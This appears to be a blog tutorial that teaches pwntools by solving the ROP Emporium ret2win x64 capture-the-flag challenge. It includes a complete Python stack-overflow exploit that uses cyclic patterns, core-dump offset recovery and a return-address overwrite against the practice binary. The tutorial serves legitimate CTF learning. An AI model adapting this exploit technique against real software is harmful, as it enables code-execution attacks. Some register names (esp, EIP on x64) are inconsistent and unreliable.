This blog post is to serve as my jumping off point for learning how to use pwntools effectively for exploit development and for CTF style challenges. I am in no way an expert when it comes to pwntools, and do not claim to be. I am purely learning along side of you while you are reading this. Here is how pwntools can help!

Pwntool is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible. Pwntool's main ideology is that of rapid prototyping which is evident when first looking at imports. Pwntool will import everything from the top level of pwnlib
along with functions from many submodules. Therefore if you simply include import pwn
or from pwn import *
you will have access to everything needed to write an exploit without having to have a mess of imports at the top of your script.
Alright so how do we get Pwntools? The easiest way to install is simply using the pip installer. The installation process is shown below.
$ apt-get update
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ pip install --upgrade pip
$ pip install --upgrade pwntools
Well that was quite simple of an install. You can now import Pwntools into your python code simply including the import pwn
or from pwn import *
at the top of your file. Now let us use Pwntools for some actual pwnage.
Spoilers Ahead!
Warning - the following sections will be include some spoilers for the popular online CTF Ropemporium (ret2win challenge). If you are currently working on that challenge, you have been warned!
Wait... I thought this post was about Pwntools, why are you talking about Ropemporium now? Well Pwntools is a library that will help with CTF challenges. Thus, I am using Ropemporium as a platform for teaching Pwntools. Okay? So what is Ropemporium? From the home page of Ropemporium: Learn return-oriented programming through a series of challenges designed to teach ROP techniques in isolation, with minimal reverse-engineering and bug-hunting. This makes it a perfect starting point for testing our new Python library since not much searching will be needed to find the bugs. For this blog post I will be looking at the x64 bit version of ret2win challenge. You can follow along by downloading the compiled binary from the Ropemporium website.
What happens when we run this binary? As we can see from the screenshot below the binary runs and waits for user input. Additionally it is nice enough to even let us know the number of bytes allowed on the stack buffer. Alright, so what's the objective here? From the Ropemporium website: "Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack." The function to be called is ret2win
. This will be important later, keep this in mind.

Even though the point of this blog post is not meant to be about reverse-engineering we can still use our open source tool Ghidra to look at the code quickly. The screenshot below gives us all the information necessary about the binary file.

Since this post is not about how to perform reverse-engineering on a compiled binary, I will skip the discovery phase and simply post a screenshot below detailing where I think the error might be.

Sure enough, just as the binary told us there is a fgets
function that reads in from stdin
and only accepts 32 bytes without error checking. Let's see what happens if we insert more than 32 characters using pwntools. The first step is to load the binary into pwntools to be used.
#!/usr/bin/python
from pwn import *
# get the ELF binary into pwntools scope
elf = context.binary = ELF('ret2win')
# initialize the process
io = process(elf.path)
Now we could simply send 33 bytes through the io
object by using io.sendline
or io.send
functions built into Pwntools. However, luckily Pwntools has a very helpful feature called cyclic
which will create a user defined length that will create a patterned string much like metasploit-framework/tools/exploit/pattern_create.rb
script. The following line added to the script would create a pattern injected into the ret2win binary. io.sendline(cyclic(128))
If we were to run the script now it would simply crash the ELF binary and exit cleanly, but we want to wait and see what happens with the injection of the pattern data. Which bring us to the next Pwntools function which is io.wait()
. This will simply hold the python script until it gets a return code from the binary. It will look much like the following:

As you can see in the screenshot above the ret2win binary crashed with the exit code -11
. Pwntools can also be used to look at a core dump. A core dump is a file containing a process's address space (memory) when the process terminates unexpectedly. Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things. Using Pwntools built in functions we can automate the process of looking at the crash as well as grabbing information out of the core dump file. The following commands are used to build the core dump file, grab the stack information at the time of the crash, and then finally use the built in print function called info
.
core = io.corefile
stack = core.esp
info("%#x stack", stack)
Which will output some information that will look similar to this:

Awesome! Now we can read from the stack using even more Pwntool functions! The following code lines are used to find out what the pattern was during our cyclic data at the time of the crash. The script when ran will look like the next screenshot in this post.
# create a variable pattern and read the corefile and pull out 4 bytes of the stack at the time of crash
pattern = core.read(stack,4)
info("%r pattern", pattern)

Now that we know exactly what the pattern was at the time of the crash we can use the Pwntools function fit
to create a payload that will inject the pattern location into the ELF binary symbols table. In simpler terms when the buffer overflow happens we will overwrite the EIP location with the address of the ret2win
function. This code will look like the following:
payload = fit({
pattern: elf.symbols.ret2win
})
# if you want to see what the payload will look like
info("%r payload", payload)
The script up to this point will look like the screenshot below when run:

The final step needed is to send our payload to the ELF binary. The last bit of code will look like this:
# send the payload to the io object
io = process(elf.path)
io.sendline(payload)
io.recvuntil("Here's your flag:")
# get the flag!
flag = io.recvline()
success(flag)

Boom! and we got our Ropemporium placeholder flag! Pwntools is a very large and complex library that will help with exploit development and CTFs. It is far too large for me to cover every aspect of the library within a single blog post, but hopefully this gets you excited about Pwntools and will encourage you to look into building it into your work flow. Until next time keep on pwning!
Here is the full code snippet:
#!/usr/bin/python
from pwn import *
#setup pwn tools to work with the binary
elf = context.binary = ELF('ret2win')
# Figure out how big of an overflow we need by crashing the process
io = process(elf.path)
# pwntools can find the crash by using cyclic
io.sendline(cyclic(128))
# wait for the crash
io.wait()
# open the corefile
core = io.corefile
stack = core.rsp
info("%#x stack", stack)
# now let's find out what was in our cyclic data at the time of the crash
pattern = core.read(stack,4)
print pattern
info("%r pattern", pattern)
# Craft a new payload which puts the "target" address at the correct offset
payload = fit({
pattern: elf.symbols.ret2win
})
io = process(elf.path)
io.sendline(payload)
io.recvuntil("Here's your flag:")
# get the flag!
flag = io.recvline()
success(flag)